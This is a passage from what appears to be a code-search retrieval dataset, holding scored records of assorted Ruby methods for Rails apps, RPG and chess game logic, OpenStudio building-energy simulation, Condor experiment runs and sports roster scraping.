"text": "def mirror_engine_files\n \n begin\n initialize_base_public_directory\n \n log.debug \"Attempting to copy public engine files from '#{source_public_dir}'\"\n \n # if there is no public directory, just return after this file\n return if !File.exist?(source_public_dir)\n\n source_files = Dir[source_public_dir + \"/**/*\"]\n source_dirs = source_files.select { |d| File.directory?(d) }\n source_files -= source_dirs \n \n log.debug \"source dirs: #{source_dirs.inspect}\"\n\n # Create the engine_files/<something>_engine dir if it doesn't exist\n if !File.exists?(self.destination_public_dir)\n # Create <something>_engine dir with a message\n log.debug \"Creating #{self.destination_public_dir} public dir\"\n FileUtils.mkdir_p(self.destination_public_dir)\n end\n\n # create all the directories, transforming the old path into the new path\n source_dirs.uniq.each { |dir|\n begin \n # strip out the base path and add the result to the public path, i.e. replace \n # ../script/../vendor/plugins/engine_name/public/javascript\n # with\n # engine_name/javascript\n #\n relative_dir = dir.gsub(File.join(root, \"public\"), name)\n target_dir = File.join(Engines.public_dir, relative_dir)\n unless File.exist?(target_dir)\n log.debug \"Creating directory '#{target_dir}'\"\n FileUtils.mkdir_p(target_dir)\n end\n rescue Exception => e\n raise \"Could not create directory #{target_dir}: \\n\" + e\n end\n }\n\n # copy all the files, transforming the old path into the new path\n source_files.uniq.each { |file|\n begin\n # change the path from the ENGINE ROOT to the public directory root for this engine\n target = file.gsub(File.join(root, \"public\"), destination_public_dir)\n unless File.exist?(target) && FileUtils.identical?(file, target)\n log.debug \"copying file '#{file}' to '#{target}'\"\n FileUtils.cp(file, target)\n end \n rescue Exception => e\n raise \"Could not copy #{file} to #{target}: \\n\" + e \n end\n }\n rescue Exception => e\n log.warn \"WARNING: Couldn't create the engine public file structure for engine '#{name}'; Error follows:\"\n log.warn e\n end\n end",
"title": ""
},
{
"docid": "adb07652e7dafc7ab951a80f498dea79",
"score": "0.45185134",
"text": "def update\n @experiment = Experiment.find(params[:id])\n authorize! :manage, @experiments \n #\n # if genes are associated with experiment but not expgenes,then copy over and write to directoy\n #\n # Need to update Summary file\n # \n @iofq_data =[]\n @kratky_data =[] \n @pofr_data =[]\n @fit_data =[]\n @guinier_data =[]\n\n iofq_file = \"#{Rails.root}/public/SAX_DATA/#{@experiment.data_directory}/iofq_data_file.dat\"\n pofr_file = \"#{Rails.root}/public/SAX_DATA/#{@experiment.data_directory}/pofr_data_file.dat\"\n fit_file = \"#{Rails.root}/public/SAX_DATA/#{@experiment.data_directory}/fitted_SAXS_with_model.dat\"\n \n if File.exists? iofq_file\n #\n # Private method at bottom loadFileIntoJSON()\n @iofq_data, @qmax = loadFileIntoJSON(iofq_file, true)\n #create Kratky data\n @kratky_data = createKratky(iofq_file, @qmax)\n #create Guinier region q*Rg < 1.3\n @guinier_data, @low, @upper = createGuinier(iofq_file, @experiment.rg, @experiment.io) \n end\n\n @pofr_data, @rmax = loadFileIntoJSON(pofr_file, false) if File.exists? pofr_file\n @fit_data, @fqmax = loadFileIntoJSON(fit_file, true) if File.exists? fit_file\n \n @originals = Dir.glob(\"#{Rails.root}/public/SAX_DATA/#{@experiment.data_directory}/originals/*.int\") \n if !@experiment.structural_model.nil?\n @experiment.structural_model.force_create = true \n end\n if !@experiment.ensemble.nil?\n @experiment.ensemble.force_create = true \n end \n if !@experiment.no_model.nil?\n @experiment.no_model.force_create = true\n if !@experiment.no_model.figure_content_type.nil? \n @extension = @experiment.no_model_content_type.split(/\\//)[1]\n end \n end \n \n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n write_experiment(@experiment, @experiment.data_directory) \n format.html { redirect_to(edit_experiment_path(@experiment.id), :notice => 'Experiment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a906257e8e2b52a5979e3368d0bfd23f",
"score": "0.4516198",
"text": "def update_phase4_step2\n if @active_battler.is_a?(Game_Actor)\n $game_temp.battle_actor_index = @active_battler.index\n @status_window.refresh\n end\n large_party_update_phase4_step2\n end",
"title": ""
},
{
"docid": "9adc5a00ce71cce51ed40d9218f4c929",
"score": "0.4514701",
"text": "def update\n syn_ht_update\n wait(1, true) if @wait_time != SynHT::Frames_hunger_down\n wait(1, false) if @wait_time_thirst != SynHT::Frames_thirst_down\n if @wait_time == SynHT::Frames_hunger_down or @wait_time2 == SynHT::Frames_thirst_down\n for i in 0...$game_party.actors.size\n $game_party.actors[i].hunger += 1 if @wait_time == SynHT::Frames_hunger_down\n $game_party.actors[i].thirst += 1 if @wait_time2 == SynHT::Frames_thirst_down\n call_ht_event(0, 0) if $game_party.actors[i].hunger == 200\n call_ht_event(1, 0) if $game_party.actors[i].hunger == 175\n call_ht_event(2, 0) if $game_party.actors[i].hunger == 150\n call_ht_event(3, 0) if $game_party.actors[i].hunger == 125\n call_ht_event(4, 0) if $game_party.actors[i].hunger == 100\n call_ht_event(5, 0) if $game_party.actors[i].hunger == 75\n call_ht_event(6, 0) if $game_party.actors[i].hunger == 50\n call_ht_event(7, 0) if $game_party.actors[i].hunger == 25\n call_ht_event(8, 0) if $game_party.actors[i].hunger == 0\n call_ht_event(0, 1) if $game_party.actors[i].thirst == 200\n call_ht_event(1, 1) if $game_party.actors[i].thirst == 175\n call_ht_event(2, 1) if $game_party.actors[i].thirst == 150\n call_ht_event(3, 1) if $game_party.actors[i].thirst == 125\n call_ht_event(4, 1) if $game_party.actors[i].thirst == 100\n call_ht_event(5, 1) if $game_party.actors[i].thirst == 75\n call_ht_event(6, 1) if $game_party.actors[i].thirst == 50\n call_ht_event(7, 1) if $game_party.actors[i].thirst == 25\n call_ht_event(8, 1) if $game_party.actors[i].thirst == 0\n end\n end\n @wait_time = 0 if @wait_time == SynHT::Frames_hunger_down\n @wait_time2 = 0 if @wait_time2 == SynHT::Frames_thirst_down\n end",
"title": ""
},
{
"docid": "0f8936a0a30ee38ef2bbb565dc1dbf26",
"score": "0.4512583",
"text": "def update_stats\n # 1. update all board cards lifetime\n @first_player.board_cards.each {|bc| bc.inc_lifetime }\n @second_player.board_cards.each {|bc| bc.inc_lifetime }\n #TODO: 2. should also change board state somehow\n end",
"title": ""
},
{
"docid": "fd115b1bf4c5ac6f1460aa0ec484e965",
"score": "0.45125052",
"text": "def update include_dirs, source\r\n if not @source_files.include? source\r\n @source_files << source\r\n end\r\n update_depends include_dirs, source\r\n end",
"title": ""
},
{
"docid": "24ab02a044aa27a00cde9eeb82beb00e",
"score": "0.45108142",
"text": "def sync\n @game.sync\n end",
"title": ""
},
{
"docid": "4b3b721a1cafa094e7cd6e3d94c80339",
"score": "0.45091233",
"text": "def set_up_local_data\n Player.deserialize_from_file('players.dat')\n Game.deserialize_from_file('games.dat')\n Performance.deserialize_from_file('performance.dat')\n end",
"title": ""
},
{
"docid": "2402376cf2c6b8621310b80e4957c336",
"score": "0.45069572",
"text": "def simulate\n self.ticket_price = self.local.ticket_price\n create_line_ups(self.local.starters, self.local.suppliers, self.guest.starters,\n self.guest.suppliers)\n available_minutes = create_minutes\n self.details = Simulator.simulate_match(self.local, self.guest, MatchDetail::ACTIONS_PLAY, available_minutes)\n self.spectators = Simulator.simulate_spectators(self.local, self.guest)\n self.local_goals = self.details.goals.\n find(:all, :conditions => {:club_id => self.local}).length\n self.guest_goals = self.details.goals.\n find(:all, :conditions => {:club_id => self.guest}).length\n\n end",
"title": ""
},
{
"docid": "db972156fe708497564afcfef6a3a8a7",
"score": "0.45036688",
"text": "def identify_craft_in campaign_name\n dir = File.join(self.path, \"saves\", campaign_name, \"Ships\")\n Dir.chdir(dir)\n {\n :vab => Dir.glob(\"VAB/*.craft\").map{|craft| craft.gsub(\"VAB/\", \"\")}, \n :sph => Dir.glob(\"SPH/*.craft\").map{|craft| craft.gsub(\"SPH/\", \"\")}\n }\n end",
"title": ""
},
{
"docid": "df057184a37b64b8b9822006a2263708",
"score": "0.44975236",
"text": "def index\n @stat_of_player_of_team_of_matches = StatOfPlayerOfTeamOfMatch.all\n end",
"title": ""
},
{
"docid": "ee53a6b05da3daab8eb33bd66c64af8c",
"score": "0.44953978",
"text": "def update_potential(spot=nil)\n x = @spot.spot[0]\n y = @spot.spot[1]\n team_in_path = []\n rooks = []\n potential = [\n [x+1,y+1],\n [x+1,y-1],\n [x-1,y+1],\n [x-1,y-1],\n [x+1,y],\n [x-1,y],\n [x,y+1],\n [x,y-1]]\n potential.each do |a|\n a.reject! { a.any? { |b| b < 1 || b > 8 } }\n end\n potential.delete([])\n potential.each do |x|\n team_in_path << x.dup if Game.whos_here(x) == self.color\n x.reject! { Game.whos_here(x) == self.color }\n end\n potential.delete([])\n # => below is castle move\n if @moved == false\n Game.pieces.each do |rook|\n if rook.is_a?(Rook) && rook.color == @color\n rooks << rook\n if rook.moved == false && rook.team_in_path.include?(self.spot.spot)\n potential << [x-2,y] if rook.spot.spot[0] < x\n potential << [x+2,y] if rook.spot.spot[0] > x\n end\n end\n end\n end\n # => above is castle move\n potential.each do |king|\n Game.pieces.each do |piece|\n if piece.color == @opposite\n piece.potential.each do |path|\n king.reject! { path == king }\n end\n piece.team_in_path.each do |check|\n king.reject! { check == king }\n end\n end\n end\n end\n potential.delete([])\n potential.delete([x+2,y]) unless potential.include?([x+1,y])\n potential.delete([x-2,y]) unless potential.include?([x-1,y])\n @potential = potential\n @team_in_path = team_in_path\n @rooks = rooks\n end",
"title": ""
},
{
"docid": "da1e8a2b0d5469d985706b246806256a",
"score": "0.44946745",
"text": "def run_models(bldg_types, vintages, climate_zones)\n\n # Open a channel to log info/warning/error messages\n msg_log = OpenStudio::StringStreamLogSink.new\n msg_log.setLogLevel(OpenStudio::Info)\n\n #### Run the specified models\n failures = []\n\n # Make a run manager and queue up the sizing run\n run_manager_db_path = OpenStudio::Path.new(\"#{Dir.pwd}/run.db\")\n run_manager = OpenStudio::Runmanager::RunManager.new(run_manager_db_path, true)\n\n # Configure the run manager with the correct versions of Ruby and E+\n config_opts = OpenStudio::Runmanager::ConfigOptions.new\n config_opts.findTools(false, false, false, false)\n run_manager.setConfigOptions(config_opts)\n\n # Loop through all of the given combinations\n bldg_types.sort.each do |building_type|\n vintages.sort.each do |building_vintage|\n climate_zones.sort.each do |climate_zone|\n # Load the .osm\n model = nil\n model_directory = \"#{Dir.pwd}/build/#{building_type}-#{building_vintage}-#{climate_zone}\"\n model_name = \"#{building_type}-#{building_vintage}-#{climate_zone}\"\n model_path_string = \"#{model_directory}/final.osm\"\n model_path = OpenStudio::Path.new(model_path_string)\n if OpenStudio::exists(model_path)\n version_translator = OpenStudio::OSVersion::VersionTranslator.new\n model = version_translator.loadModel(model_path)\n if model.empty?\n failures << \"Error - #{model_name} - Version translation failed\"\n return failures\n else\n model = model.get\n end\n else\n failures << \"Error - #{model_name} - #{model_path_string} couldn't be found\"\n return failures\n end\n\n # Delete the old ModelToIdf and SizingRun1 directories if they exist\n FileUtils.rm_rf(\"#{model_directory}/ModelToIdf\")\n FileUtils.rm_rf(\"#{model_directory}/SizingRun1\")\n\n # Convert the model to energyplus idf\n forward_translator = OpenStudio::EnergyPlus::ForwardTranslator.new\n idf = forward_translator.translateModel(model)\n idf_path_string = \"#{model_directory}/#{model_name}.idf\"\n idf_path = OpenStudio::Path.new(idf_path_string)\n idf.save(idf_path,true)\n\n # Find the weather file\n epw_path = nil\n if model.weatherFile.is_initialized\n epw_path = model.weatherFile.get.path\n if epw_path.is_initialized\n if File.exist?(epw_path.get.to_s)\n epw_path = epw_path.get\n else\n failures << \"Error - #{model_name} - Model has not been assigned a weather file.\"\n return failures\n end\n else\n failures << \"Error - #{model_name} - Model has a weather file assigned, but the file is not in the specified location.\"\n return failures\n end\n else\n failures << \"Error - #{model_name} - Model has not been assigned a weather file.\"\n return failures\n end\n\n # Set the output path\n output_path = OpenStudio::Path.new(\"#{model_directory}/\")\n\n # Create a new workflow for the model to go through\n workflow = OpenStudio::Runmanager::Workflow.new\n workflow.addJob(OpenStudio::Runmanager::JobType.new('ModelToIdf'))\n workflow.addJob(OpenStudio::Runmanager::JobType.new('ExpandObjects'))\n workflow.addJob(OpenStudio::Runmanager::JobType.new('EnergyPlusPreProcess'))\n workflow.addJob(OpenStudio::Runmanager::JobType.new('EnergyPlus'))\n workflow.add(config_opts.getTools)\n job = workflow.create(output_path, model_path, epw_path)\n\n run_manager.enqueue(job, true)\n\n end\n end\n end\n\n # Start the runs and wait for them to finish.\n while run_manager.workPending\n sleep 5\n OpenStudio::Application::instance.processEvents\n end\n\n #### Return the list of failures\n return failures\n\n end",
"title": ""
},
{
"docid": "ce9810a4da1e20cc2a31706ebc47ebf1",
"score": "0.4494086",
"text": "def refresh(env)\n return if env[ENV_FLAG]\n env[ENV_FLAG] = true\n # Having been run within the dwell period is good enough\n return if @last_been_run and Time.now - @last_been_run < @dwell\n # verbose loggers\n added_files = []\n changed_files = []\n deleted_files = []\n # Prepare to find a moving base_js\n previous_goog_base_filename = @goog ? @goog[:base_filename] : nil\n goog = nil\n # Mark everything for deletion.\n @files.each {|f, dep| dep[:not_found] = true}\n # Scan filesystem for changes.\n @sources.each do |dir, path|\n dir_range = (dir.length..-1)\n Dir.glob(File.join(dir,'**','*.js')).each do |filename|\n file = (@files[filename] ||= {})\n file.delete(:not_found)\n mtime = File.mtime(filename)\n if previous_goog_base_filename == filename\n if file[:mtime] == mtime\n multiple_base_js_failure if goog\n goog = @goog \n end\n previous_goog_base_filename = nil\n end\n if path and !file.has_key?(:path)\n raise unless filename.index(dir) == 0 # glob sanity\n file[:path] = \"#{path}#{filename.slice(dir_range)}\"\n added_files << filename unless file[:excluded]\n end\n if !path or file[:excluded]\n file[:excluded] = true\n file[:provide] = file[:require] = [] \n elsif file[:mtime] != mtime\n @deps = {}\n old_file_provide = file[:provide]\n old_file_require = file[:require]\n file_text = File.read filename\n file[:provide] = file_text.scan(PROVIDE_REGEX).flatten.uniq\n file[:require] = file_text.scan(REQUIRE_REGEX).flatten.uniq\n if old_file_provide != file[:provide] or old_file_require != file[:require]\n # We're changed only if the provides or requires changes.\n # Other edits to the files don't actually alter the dependencies.\n changed_files << filename\n end\n # Record goog as we pass by\n if file[:provide].empty? and file[:require].empty?\n if File.basename(filename) == 'base.js'\n if file_text =~ BASE_JS_REGEX\n multiple_base_js_failure if goog\n goog = {:base_filename => filename}\n if file[:path]\n goog[:base_js] = file[:path]\n goog[:base_js_mtime] = mtime\n goog[:deps_js] = file[:path].gsub(/base.js$/, 'deps.js')\n end\n end\n end\n end\n end\n file[:mtime] = mtime\n end\n end\n # Sweep to delete not-found files.\n @files.select{|f, dep| dep[:not_found]}.each do |filename, o|\n deleted_files << filename\n @files.delete(filename)\n end\n # Decide if deps has changed.\n if 0 < added_files.length + changed_files.length + deleted_files.length\n @ns = nil\n end\n # Finish\n @goog = goog\n @last_been_run = Time.now\n end",
"title": ""
},
{
"docid": "7bf04f0dfd7e7d54362cb244799b2a20",
"score": "0.44935292",
"text": "def sync_fide_players(force=false)\n @start = Time.now\n @time = Hash.new\n begin\n get_download_details\n check_not_downloaded unless force\n download_and_save\n read_and_parse\n update_our_players_and_ratings\n event(true)\n rescue SyncInfo => e\n @info = e.message\n event(true)\n rescue SyncError => e\n @error = e.message\n event(false)\n rescue => e\n @error = e.message\n e.backtrace.each { |b| @error += \"\\n#{b}\" }\n event(false)\n end\n end",
"title": ""
},
{
"docid": "808a170cb4b9f8da3e6fcbd7c19b6207",
"score": "0.44914088",
"text": "def roster\n @team = Team.find(params[:id], :include => :players)\n @players = @team.players\n end",
"title": ""
},
{
"docid": "65068eb89358623482d5486553b2bda9",
"score": "0.4488043",
"text": "def run()\n #First, let's clear off existing condor jobs\n system(\"condor_rm #{$user}\")\n\n # Clean up any status files from a previous run\n Dir.chdir(\"#{$experimentbase}/process\") do\n system(\"rm -f __*\")\n end\n\n Dir.chdir(\"#{$experimentbase}/results\") do\n # Remove files with missing agents \n print \"Removing results with missing agents...\\n\"\n system(\"for i in `grep -l missing_ *.txt`; do rm ${i}; done\")\n # Remove files with late agents\n print \"Removing results with late agents...\\n\"\n system(\"for i in `grep -l late_ *.txt`; do rm ${i}; done\")\n # Remove files with bad situations\n print \"Removing results with bad situations...\\n\"\n system(\"for i in `grep -l bad_ *.txt`; do rm ${i}; done\")\n # Remove files with no score\n print \"Removing results with no score...\\n\"\n system(\"for i in `grep -L \\\"score = \\\" *.txt`; do rm ${i}; done\")\n # Remove files with all crashed agents\n print \"Removing results with all crashed agents...\\n\"\n system(\"for i in `grep -l all_crashed_ *.txt`; do rm ${i}; done\")\n # Remove files with crashed agents \n #print \"Removing results with crashed agents...\\n\"\n #system(\"for i in `grep -l crash_opp magma*.txt`; do for j in `grep -l dubble-bubble ${i}`; do rm ${j}; done; done\")\n end\n\n sleep 2\n\n $numResults = $numGames*2*$opponents.size\n\n $opponents.each do |opponent|\n (0..$numGames-1).each do |game|\n run_on_condor(opponent, game, \"left\")\n run_on_condor(opponent, game, \"right\")\n end\n end\n\n\n numRunning = Dir.glob(\"#{$experimentbase}/process/__running_*\").size\n lastNumWaitingFor = $numResults-numRunning\n failueToQueueTimeoutSecs = 900\n queueingTimeoutSecs = failueToQueueTimeoutSecs\n while ($numResults > numRunning)\n #print \"numRunning = #{$numRunning}, numResults = #{numResults}\\n\"\n print \"Waiting for #{$numResults-numRunning} processes to start running...\\n\"\n sleep 5\n expToRerun = Dir.glob(\"#{$experimentbase}/process/__rerun_*\")\n if (expToRerun.size > 0) \n print \"Rerunning #{expToRerun.size} processes...\\n\"\n end\n expToRerun.each do |rerun|\n system(\"rm -f #{rerun}\")\n rerun = File.basename(rerun)\n rerun[\"__rerun_\"] = \"\"\n args = rerun.split(/_/)\n run_on_condor(args[0], args[1], args[2])\n end\n numRunning = Dir.glob(\"#{$experimentbase}/process/__running_*\").size\n\n if ($numResults-numRunning == lastNumWaitingFor)\n queueingTimeoutSecs = queueingTimeoutSecs-5\n if (queueingTimeoutSecs == 0)\n #Something has hung up in the system so lots get out of here\n $timeToWaitMins = 0\n break\n end\n else\n lastNumWaitingFor = $numResults-numRunning\n queueingTimeoutSecs = failueToQueueTimeoutSecs\n end\n end \n\n # Clean up status files\n if (! $logEnabled)\n Dir.chdir(\"#{$experimentbase}/process\") do\n system(\"rm -f __*\")\n end\n end \n\n if ($runningProcesses)\n if ($numResults > numRunning)\n print \"Timed out while queueing processes...rerunning system\\n\" \n else\n print \"All processes have started running!\\n\"\n end\n else\n print \"All results are in!\\n\"\n end \nend",
"title": ""
},
{
"docid": "008c2694621e2e5312b5552a46803f0a",
"score": "0.4485981",
"text": "def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n\r\n\t\trequire 'csv'\r\n\r\n\t\tif !runner.validateUserArguments(arguments(model), user_arguments)\r\n\t\t return false\r\n\t\tend\r\n\t#\r\n\t# # assign the user inputs to variables\r\n\t\tfile_name = runner.getStringArgumentValue(\"file_name\", user_arguments)\r\n\t#\r\n\t# # check the file_name for reasonableness\r\n\t\tif file_name.empty?\r\n\t\t runner.registerError(\"Empty file name was entered.\")\r\n\t\t return false\r\n\t\tend\r\n\t\t\r\n\t\tdef create_schedule_and_rename(timeseries, name, model)\r\n\t\t schedule = OpenStudio::Model::ScheduleInterval::fromTimeSeries(timeseries, model)\r\n\t\t if schedule.empty?\r\n\t\t\tputs \"Could not create schedule '#{name}'. Skipping\"\r\n\t\t\treturn false\r\n\t\t else\r\n\t\t\tschedule = schedule.get\r\n\t\t\tschedule.setName(name)\r\n\t\t\treturn schedule\r\n\t\t end\r\n\t\tend\r\n\r\n\t\t# Loading csv. In my case I have 4 columns timestamp, supply temp, supply flow, load\r\n\t\traw_data = CSV.table(\"/Users/USDF01219/OpenStudio/Measures/import_8760_load_profile_plant_hwchw/#{file_name}\") #IT.csv\r\n\r\n\t\t# Create Vectors to load the 8760 values.\r\n\t\tchw_supply_temp_c = OpenStudio::Vector.new(8760)\r\n\t\tchw_flow_fraction = OpenStudio::Vector.new(8760)\r\n\t\tchw_load_w = OpenStudio::Vector.new(8760)\r\n\r\n\t\thw_supply_temp_c = OpenStudio::Vector.new(8760)\r\n\t\thw_flow_fraction = OpenStudio::Vector.new(8760)\r\n\t\thw_load_w = OpenStudio::Vector.new(8760)\r\n\r\n\r\n\t\t# Loop on each row of the csv and load data in the OpenStudio::Vector objects\r\n\t\traw_data.each_with_index do |row, i|\r\n\t\t # Convert F to C on the fly\r\n\t\t chw_supply_temp_c[i] = OpenStudio::convert(row[:chw_supply_temp_f],'F','C').get\r\n\t\t hw_supply_temp_c[i] = OpenStudio::convert(row[:hw_supply_temp_f],'F','C').get\r\n\t\t # This is a fraction, no conversion needed\r\n\t\t chw_flow_fraction[i] = row[:chw_flow_fraction]\r\n\t\t hw_flow_fraction[i] = row[:hw_flow_fraction]\r\n\t\t # Load is already in Watts\r\n\t\t chw_load_w[i] = row[:chw_load_w]\r\n\t\t hw_load_w[i] = row[:hw_load_w]\r\n\t\tend\r\n\r\n\t\t# Get number of initial Schedule:FixedInterval for reporting\r\n\t\tinitial_number = model.getScheduleFixedIntervals.size\r\n\r\n\t\t# To create timeSeries we need a start date (January 1st) and a time interval (hourly interval)\r\n\t\tdate = OpenStudio::Date.new(OpenStudio::MonthOfYear.new(\"Jan\"), 1, 2009)\r\n\t\ttime = OpenStudio::Time.new(0,1,0,0)\r\n\r\n\t\t# Create a timeSeries\r\n\t\tchw_supply_temp_timeSeries = OpenStudio::TimeSeries.new(date, time, chw_supply_temp_c, \"C\")\r\n\t\t# Convert to schedule and if it worked, rename. See function above\r\n\t\tchw_supply_temp_sch = create_schedule_and_rename(chw_supply_temp_timeSeries, \"ChW Supply Outlet Temp Schedule\", model)\r\n\t\thw_supply_temp_timeSeries = OpenStudio::TimeSeries.new(date, time, hw_supply_temp_c, \"C\")\r\n\t\thw_supply_temp_sch = create_schedule_and_rename(hw_supply_temp_timeSeries, \"HW Supply Outlet Temp Schedule\", model)\r\n\t\t\r\n\t\tchw_flow_fraction_timeSeries = OpenStudio::TimeSeries.new(date, time, chw_flow_fraction, \"Fraction\")\r\n\t\tchw_flow_fraction_sch = create_schedule_and_rename(chw_flow_fraction_timeSeries, \"ChW Load Profile - Flow Fraction Schedule\", model)\r\n\t\thw_flow_fraction_timeSeries = OpenStudio::TimeSeries.new(date, time, hw_flow_fraction, \"Fraction\")\r\n\t\thw_flow_fraction_sch = create_schedule_and_rename(hw_flow_fraction_timeSeries, \"HW Load Profile - Flow Fraction Schedule\", model)\r\n\t\t\t\t\r\n\t\tchw_load_timeSeries = OpenStudio::TimeSeries.new(date, time, chw_load_w, \"W\")\r\n\t\tchw_load_sch = create_schedule_and_rename(chw_load_timeSeries, \"ChW Load Profile - Load Schedule (Watts)\", model)\r\n\t\thw_load_timeSeries = OpenStudio::TimeSeries.new(date, time, hw_load_w, \"W\")\r\n\t\thw_load_sch = create_schedule_and_rename(hw_load_timeSeries, \"HW Load Profile - Load Schedule (Watts)\", model)\r\n\r\n\t\t# Final Reporting\r\n\t\tfinal_number = model.getScheduleFixedIntervals.size\r\n\t\tputs \"Model started with #{initial_number} Schedule:FixedInterval and ended with #{final_number}\"\r\n\r\n\t\t# to save:\r\n\t\t# model.save(path, true)\r\n\t\t\r\n return true\r\n\r\n end",
"title": ""
},
{
"docid": "3ac9468cd8d090e50e2f66d6f6bb7545",
"score": "0.44832188",
"text": "def update\n update_move # Update movements (Basic Modules)\n update_smove # Update smooth movement (Basic Modules)\n update_rotation # Update rotation\n @shadow_point.update_move\n update_sequence\n end",
"title": ""
},
{
"docid": "9a5e17d58b8f7084355bf3e88406ca17",
"score": "0.44818905",
"text": "def master_run!(cv)\n @dir = \"#{parent_dir}/#{@options.opts}\"\n \t\tDir.mkdir @dir\n @cvs = cv || 1\n @results = {}\n \t\t#Notify.started @experiment\n split_up_data\n \t\t#write_dir!\n \t\texps = param_grid.product((1..@cvs).to_a)\n \t\t@completed = Hash[*exps.map {|a| [a, false] }.flatten]\n \t\t@started = @completed.dup\n end",
"title": ""
},
{
"docid": "946b399e12bd020c5da6904c31293253",
"score": "0.44738418",
"text": "def update_station_list\n log('This script overwrites your local copy of config/stations.yml with the latest data from nationalrail.co.uk and '\\\n 'railwaycodes.org.uk')\n log('Press [ENTER] to continue or [Ctrl+c] to quit')\n gets\n # Fetch data from the web\n stations = fetch_stations\n locations = fetch_locations\n # Add location data to the current active station list\n stations.each { |crs, data| data.merge!(locations[crs]) if locations[crs] }\n write_yaml(stations)\n log('Your station list has been updated')\nend",
"title": ""
},
{
"docid": "1a4555ee85e00d7f3f568f991fa39f14",
"score": "0.44736603",
"text": "def battlers_refresh\n # killed battlers array\n $game_system.reset_abs_data\n # for all events\n $game_map.events.each_key {|i|\n # execute substitution based on names if the event exists\n check_event_name(i) if $game_map.events[i] != nil}\n end",
"title": ""
},
{
"docid": "a581d4c4405bbe85f18cccac33025ddc",
"score": "0.44674584",
"text": "def create_or_update_assets\n # All files in assets folder\n glob_path = File.join(clone_location, assets_subdirectory, \"*.{#{file_extensions.join(',')}}\")\n assets_paths = Dir.glob(glob_path) # full paths\n\n # Get jhove output in order to get the mime type and size for each asset.\n version_control_agent.get({ location: File.join(metadata_subdirectory, JHOVE_OUTPUT_FILENAME) }, clone_location)\n jhove_output = Bulwark::JhoveOutput.new(File.join(clone_location, metadata_subdirectory, JHOVE_OUTPUT_FILENAME))\n\n # Updating or creating asset record for each asset file\n assets_paths.each do |asset_path|\n filename = File.basename(asset_path)\n asset = assets.find_or_initialize_by(filename: filename)\n asset.original_file_location = version_control_agent.look_up_key(File.join(assets_subdirectory, filename), clone_location)\n asset.size = jhove_output.size_for(filename) # In bytes\n asset.mime_type = MIME::Type.simplified(jhove_output.mime_type_for(filename))\n asset.save!\n end\n\n # Removing references to files that have been removed.\n asset_filenames = assets_paths.map { |a| File.basename(a) }\n assets.each do |asset|\n asset.destroy unless asset_filenames.include?(asset.filename)\n end\n end",
"title": ""
},
{
"docid": "c59d5c7e262031186175574949b12639",
"score": "0.44653958",
"text": "def updatePlayerData\n\n # First, we synchronize both client & server\n @com.send('temps', @salon.partie.timeLeft.to_i.to_s)\n\n\n playerData = []\n @partie.listeJoueurs.each { |joueur|\n territories = {}\n\n joueur.listeTerritoires.each { |territory|\n territories[territory.idTerritoire] = territory.etatJauges()\n }\n\n playerData.push(territories)\n }\n\n # Useful informations about territories to refresh client's UI\n @com.send('playersData', playerData)\n\tend",
"title": ""
},
{
"docid": "029c95449e2fa52b8989b75c54997784",
"score": "0.44640747",
"text": "def update_available_players\r\n create_new_players\r\n available_players = Player.where(available: true)\r\n available_players.each do |tlfl_player|\r\n if !@active_players.find {|fd_player| fd_player[\"PlayerID\"] == tlfl_player.fd_id} \r\n tlfl_player.destroy\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "3fc58b1c564905e6207eb7e9e9f569d5",
"score": "0.4462276",
"text": "def copy_videos_to_output_dir\n section_entities.each do |section_id, section_name|\n unit_entities_in_section(section_id).each do |unit_id, unit_name|\n unit_video_output_dir = \"#{VIDEO_OUTPUT_DIR}/#{section_id}_#{unit_id}/\"\n FileUtils.mkdir_p unit_video_output_dir\n video_in_unit(section_id, unit_id).each do |video_name|\n output_path = unit_video_output_dir + video_name\n input_path = \"#{unit_path(section_id, unit_id, unit_name)}/video/#{video_name}\"\n FileUtils.cp(input_path, output_path)\n end\n end\n end\nend",
"title": ""
},
{
"docid": "4faff116f7dc01c45cc0bda93e148ac7",
"score": "0.44612265",
"text": "def get_players\n Team.all.each do |team|\n loc = team.home_url.index('/_/')\n url = team.home_url.insert(loc, '/roster')\n doc = Nokogiri::HTML(open(url))\n players = doc.css('div.mod-content tr.oddrow, div.mod-content tr.evenrow')\n players.each do |player|\n player_url = player.css('td a').attr('href').to_s\n espn_id = player_url[player_url.index('/_/id/') + 6, 7]\n name = player.css('td')[1].text\n height = player.css('td')[3].text\n height_array = height.split('-')\n height = (height_array.first.to_i * 12 ) + height_array.last.to_i\n new_player = Player.find_or_initialize_by(espn_id: espn_id)\n new_player.team = team\n new_player.number = player.css('td')[0].text\n new_player.first_name = name.rpartition(' ').first\n new_player.last_name = name.rpartition(' ').last\n new_player.position = player.css('td')[2].text\n new_player.height = height\n new_player.weight = player.css('td')[4].text\n new_player.year = player.css('td')[5].text\n new_player.hometown = player.css('td')[6].text\n new_player.save\n end\n end\n redirect_to teams_path \n end",
"title": ""
},
{
"docid": "026d1ba12a7fec1c83774ab5f81bc335",
"score": "0.44600898",
"text": "def update\r\n update_h(@balls)\r\n colliBall_h(@balls)\r\n colliWall_h(@balls)\r\n end",
"title": ""
},
{
"docid": "31b6d01d7cbfe7414f4af29f0a28f563",
"score": "0.44582617",
"text": "def known_rev_locations\n ['/Editor/BugReporter/unity.bugreporter',\n '/Editor/Data/PlaybackEngines/WebGLSupport/BuildTools/lib/UnityNativeJs/UnityNative.js.mem',\n '/Editor/Data/PlaybackEngines/LinuxStandaloneSupport/Variations/linux32_headless_nondevelopment_mono/LinuxPlayer',\n '/Editor/Unity']\n end",
"title": ""
},
{
"docid": "7449170a51f513292af5b9214b6d2538",
"score": "0.4457565",
"text": "def sync_rspec_only\n copy_skel_files\n end",
"title": ""
},
{
"docid": "3be955ab014b6a4da14478a2d272eba7",
"score": "0.4448123",
"text": "def refresh!\n load_gems_in(self.class.installed_spec_directories)\n end",
"title": ""
},
{
"docid": "6888cb05d9e340437181ac8566164563",
"score": "0.44470847",
